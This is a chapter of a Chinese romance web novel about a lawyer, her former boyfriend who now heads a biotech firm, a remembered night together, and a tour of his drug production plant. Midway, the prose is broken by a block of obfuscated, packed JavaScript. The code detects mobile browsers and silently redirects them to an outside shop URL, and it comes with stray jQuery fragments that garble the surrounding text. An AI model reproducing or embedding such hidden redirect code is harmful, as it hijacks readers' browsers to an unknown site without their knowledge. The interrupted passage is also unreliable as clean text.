梁似锦不知道在磨蹭什么。
她擦干身体，换上他帮她从超市里买来的新睡衣，把湿衣服挂起来，拿着吹风机仔细吹干了头发，慢吞吞把浴室收拾干净了才出去。
房间里已经没了刚进来时的浊腐味，一股清净之气冲了进来，仿佛带着树木的幽冷和草地的鲜嫩，寒冽又清凉。
“我洗好了。”
他点点头，小心避让着她，走进了浴室。
梁似锦有一点心悸，无所事事地把电视打开，掀开被子钻进去盖住了腿。
电视里好几个频道都在播放选秀节目，那是2010年，选秀偶像还没有那么多的商业化运作，每个人在节目里尽情流露着自己最真实的性格，甚至会为了粉丝们之间“谁被欺负”“谁又被孤立”的争执亲自下场解释或评论。
陈牧州出来的时候，她已经换了五个频道，听完了八首歌。他穿了件白色的纯棉T恤，走到窗边，双手撑住窗台，转头看她：“外面下雪了。”
“真的？”
梁似锦快乐叫一声，踩上拖鞋，脚步不停地凑到他身边，他的身上泛着温暖潮湿的，跟自己同样的气味。
窗外鹅毛大雪漫天飞舞，世界仿佛被遗落在宇宙角落里的白色冰河。
“好大的雪。”梁似锦伸出手去接。
陈牧州看着她，温柔笑道：“我还以为你至少要说句‘好美’。”
她不好意思的笑了笑，羞赧问他：“我太不浪漫了是吗？难怪梁鹏举总说我像个汉子，好多事他比我敏感多了。我妈可能把我们生错了性别，听说很多龙凤胎都是这样。”
陈牧州低头亲了亲她的脸，“不是。你很可爱。”
梁似锦没有避开，亮晶晶的眼神看向他，开心欢愉，“我想起该说什么了。”
“什么。”
“梦里不知身是客，一晌贪欢。”她清澈的眼睛看向他，问：“这句还像样吗？”
陈牧州淡淡评价：“一般般吧。”
“那——你要不要跟我贪一下欢？”
他身子一僵，见她笑意盈盈的望着自己，坦坦荡荡，干净又漂亮。她的眼睛里藏着紧密的依恋，那么义无反顾的将还不够好的自己轻易纳入了她的人生范畴。这么好的姑娘，不能随便对待。
陈牧州轻轻捏了下她的鼻子，有一点嫌弃和慌乱，“你一个女孩子，说的这叫什么话？”
融融的暖意蒸上来，他抽身要走，梁似锦拉住了，挂件似的圈着脖子主动去亲他。
他们之间，到底有多大的缝隙啊？走向她，又是多么难的一件事？可他偏偏要那样，那么洁净那么克制，好似想一想这种事都是在玷污他，难道自己是洪水猛兽吗？
那时候不知道究竟是从哪里来的那么多热情和爱意，梁似锦真的好喜欢他，满满当当，晃晃悠悠，搁不下的就从眼睛里全部倾泻到他身上去。
陈牧州被她压到床上，眼睛对上眼睛，他看着她坨红的脸颊和稍微有些泛红的眼眶，声音低哑：“知道你在干什么吗？”
“怎么不知道？”她觉得有一点委屈，“这种事你还要我主动？”
她像林中小鹿，看着性情温顺，靠近了又想逃逸。她又像身上长满了羽毛，柔软纤薄，轻轻抚过来就令人心惊胆战。
身体突然被翻了了个儿，梁似锦惊呼一声，瞬间就被他粗暴的撬开了唇齿。
娇嫩皮肤冰凉腻滑，从他胸口处传来密密实实的疼，陈牧州想这辈子他再也不会这样喜欢一个人，激越和克制同时攫住了心脏，让他如此快乐又如此心疼。
梁似锦颤抖着，张嘴咬住了他的唇。
他和她，四肢生根，灵魂契合，皮肉骨血尽数融合。
窗外枝条摇摆，冬雪簌簌落下。
—
陈牧州突然满头大汗从睡梦中惊醒。
家里暖气给得很足，床头摆着的温湿表已经接近二十八度。他烦躁的耙了把头发，低头看自己胸口，梦里躺在上面的人早已离开他很久了。
只好起身卷起刚才盖的蚕丝薄被，连同脱下的睡衣一起扔进洗衣机，转身又进浴室冲凉，脊背像绷紧的弓，那些蓬勃的欲望很久才消散下去。
那首词后面是什么来着——无限江山，别时容易见时难。
确实是亡国之痛，囚徒之悲。
浴室的门重新被打开。
男人裹了件浴袍，低垂着眉眼，湿润的头发尽数梳上去，露出流畅硬朗的整个面部轮廓。冰箱门被打开，他从里面拿了瓶水出来，缓步走到窗边，入眼处已经一片白色。
外面昏黄的灯光下，雪下得飘飘洒洒。
今年的第一场春雪，静静落下来，那么无声而沉默。
他打开窗户，新鲜凉爽的冷风瞬间灌满整个房间。
—
三天后是同尘科技组织的第一次实地调研。
张秘书带着入围终选的三家律所一干人等，例行参观公司的生产研发中心。
“请各位老师换一下无菌服。”更衣区连着一条长约五十米的走廊，走廊的尽头就是同尘科技研发中心的入口。“我们陈总在中心门口恭候各位老师大驾，这边请。”
梁似锦穿上一次性蓝色无菌服，戴上口罩和手套，仿佛又回到医学院一年级。
张秘书和其他两个会务人员引导众人往前走，老程观察着周遭的环境，一个劲点头。嗯，不错，欣欣向荣。嗯，不错，生机勃勃。
经过长廊，梁似锦看到不远处站着几个身影，有男有女。其中一道身姿挺拔，虽然从头到脚遮的密密实实，但从他站立的姿态里，微微侧头看过来的目光里，还是能一眼认出这个人。
只见他用波澜不惊的目光看向眼前每一个人，“欢迎。”声音听着像往常一样沉着，只是鼻音过于浓重了些，“今天由我和生产团队诸位同事陪同各位律师参观，请进。”
陈牧州刷卡打开闸机，做了个“请”的手势，三家律所的代表们鱼贯而入。
梁似锦跟着老程一起进去，走过他身边的时候，闻见一股熟悉的消毒水味道，就像读书时每一次从实验室里闻到的一模一样。她面无表情的走过去，只有紧握的掌心泄露了一点点心事。
巨大无尘的白色车间里，机器运转发出细微的嗡鸣声，阳光从高处透明的玻璃窗中照下来，白色羽毛一般罩在一排排不锈钢发酵罐上，那些罐子体型硕大，大概有两层楼那么高，罐体锃亮，照出低处十几个全副武装的人影。
“这是原液生产车间，”生产总监侃侃而谈，“主要用来培养我们的核心产品，这是101号。”他往自己身后又指了指，“后面的制剂车间生产的是更新后的201号产品。”
梁似锦抬起头，巨大的罐体侧面开了个小窗用来观察药液的形态，她看见有些液体正在被缓慢搅拌，里面养着基因改造后的新细胞，制成疫苗或特效药上市，会挽救一些人的生命。
生产总监很是自豪，“101号产品是我们公司拥有完全自主知识产权的第一个生物类似药，目前已经上市。请大家移步，后面才是重头戏。”
陈牧州与队伍保持着不远不近的距离，大概是嗓子真的不舒服，他鲜少开口去主动介绍。但有律师遇到不明白的地方向他求证时，这个人也会第一时间给出答案。
老程琢磨着，突然问梁似锦，“你觉不觉得这陈总……好像是身体不大舒服？”
“听着像是感冒了。”
“着啊。”老程抚着下巴，沉思道：“我给司机打个电话，一会儿送个果篮过来？”
梁似锦微不可见的蹙了下眉，制止了。“其他两家律所的人也不傻，没理由人家听不出来，还是不着痕迹的好。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862170|212049||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“用得着这么瞻前顾后的吗？你是不是想得有点多？”
梁似锦凭着直觉小声答：“我感觉最好是不要，他不会喜欢的。”
老程盯着她，上次在机场意外得知两人的过往，毕竟是谈过，互相了解，按说是该接受她的建议。但他其实更相信自己多年来混迹职场的直觉，因此半晌没表态，后半程也没再提起这一茬。
所有人跟着生产总监进入第二个制剂车间，有律师突然问陈牧州，“陈总，贵司研发的201号产品，现在进展到什么程度了？”
“已经通过三期临床试验，目前正在等药监局审批后上市。”他的嗓子疼得跟刀片剐似的，咳了几下勉强出声：“……如果顺利，本月就可以。”
“那，这个产品主要是针对哪个方向？”
陈牧州顿了一下，神色凝重道：“基因突变型非小细胞肺癌。你可以理解为，一种靶向药。”
“哦哦，明白。”
梁似锦的心脏猛地缩了一下，抬头望去，疑惑不解的目光几乎要穿透他。怎么会？他为什么要研发跟梁鹏举的病相同的方向？他明明根本也不知道他到底是得了什么病。
这里的玻璃隔断很多，透明的墙、透明的门，隔出一格格忙碌穿梭的工作人员的身影，灌装机有条不紊的运转，西林瓶在传送带上整齐列队。
安全总监和蔼的介绍着，“这里是无菌罐装区，里面的环境要求更苛刻，咱们就不再进去了，请各位律师见谅。大家感兴趣的，可以在外面看看。”
梁似锦走到被隔离开的玻璃门处，里面的工作人员动作专注的举起罐装好的药瓶，正在灯光下仔细的观察着是否有异物。
有人因为他们手中的那瓶药，活着或者死去。
尤其当药物仍处在研发实验阶段，还没有大批量上市的时候，有人拿到了试药的资格，有的人却没有。这瓶小小的药液，决定着无数个像梁鹏举那样的晚期癌症病人的生死存亡。
参观结束，律师们陆续沿原路返回。
梁似锦落在队伍后面，陈牧州站在她侧后方，突然说了句，“手套。”
“什么？”
他皱了皱眉，忍着喉咙刀割一般的不适又多说了几个字，“你手套破了。”
她猛然抬起右手，果然看见食指和手掌交接的地方裂了个小小的口子。大概是刚才通过第二道门，为了避让另一个律师时被门框划了一下。
老程察觉到异动，从队伍前面又折回来，凑到他们跟前，刻意讨好道：“哎哟，我替小梁谢谢陈总关心。果然学过医的人就是不一样，细心，观察力也强。”
陈牧州不耐的摆了摆手，本来不愿再多说任何一个字，却还是叮嘱她一句，“别用手碰任何东西。”
“知道了。”她答得那么熟稔，就像谈恋爱时无数次答过的那样。
两个人都愣在那里，很快又觉得尴尬，梁似锦赶紧推着老程往前走了。
参观完后，律所同行们各奔东西。梁似锦没有车，步行到最近的地铁站准备回家，她从手机的团购群里查看哪家的蔬菜水果更便宜。
突然手机振动，是老程打来的。“小梁，我刚才琢磨半天，你说得很对。示好这事儿，咱不能做的太低端了。不过我看陈总这次感冒确实有点严重，这么着，今晚咱俩去他家里拜访一下。”
梁似锦听完觉得天都快塌了，这不是自找麻烦吗？“程老师，我还得回家做饭呢。”
“不着急，你吃完饭等我，接上你咱就过去。”
梁似锦心想是自己拒绝的不够彻底吗？那就说得更明白一点。“这种送礼方式太老土了，我们年轻人应该都不喜欢。”
“你懂什么？人情社会，诚意就是心意，心意就是诚意。心诚则灵。”老程的语气不容拒绝，“就这么说定了，你等我电话吧！”